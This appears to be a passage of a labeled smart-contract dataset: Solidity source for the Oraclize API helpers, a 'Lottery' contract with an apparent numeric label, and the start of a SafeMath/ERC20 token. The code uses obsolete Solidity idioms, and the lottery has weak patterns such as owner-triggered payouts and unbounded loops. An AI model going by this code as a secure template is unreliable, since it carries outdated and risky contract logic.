if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Lottery is usingOraclize {
uint public winningNumber=0;
address public winningaddr;
uint public bet_amount;
uint public durationh;
uint public numTickets;
uint exit_amount;
uint public stage = 3;
uint public startTime;
bytes32 queryId1;
address owner;
mapping(uint => address) public tickets;
function Lottery(){
owner = msg.sender;
}
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
if (msg.sender != oraclize_cbAddress()) throw;
if(_queryId == queryId1) {stage = 1; return;}
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
stage = 3;
} else {
winningNumber = (uint(sha3(_result)) % (numTickets-1))+1;
winningaddr = tickets[winningNumber];
winningaddr.transfer(this.balance);
stage = 3;
}
}
function newGame(uint _bet_amount, uint _durationh, uint _gwei) public payable{
if((stage == 3)&&(msg.sender == owner)){
for(uint i = 1; i<numTickets; i++){
tickets[i] = 0;
}
oraclize_setCustomGasPrice(_gwei * 1000000000 wei);
winningNumber = 0;
bet_amount = _bet_amount * 1 finney;
durationh = _durationh * 1 hours;
numTickets = 1;
stage = 0;
startTime = now;
oraclize_setProof(proofType_TLSNotary);
queryId1 = oraclize_query(durationh, "URL", "", 75000);
}
else
throw;
}
function Bet() public payable {
if ((msg.value == bet_amount) && (stage == 0)) {
tickets[numTickets] = msg.sender;
numTickets++;
}
else
throw;
}
function payout() public payable{
if(stage == 1){
if(numTickets == 1)
{
stage = 3;
}
else
{
oraclize_setProof(proofType_Ledger);
oraclize_newRandomDSQuery(0, 4, 200000);
owner.transfer(this.balance/150);
stage = 2;
}
}
else
throw;
}
function exit() public payable{
if(msg.sender == owner){
exit_amount = this.balance / (numTickets-1);
for(uint i = 1; i<numTickets; i++){
tickets[i].transfer(exit_amount);
}
}
else
throw;
}
} | 0 | 2,397 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
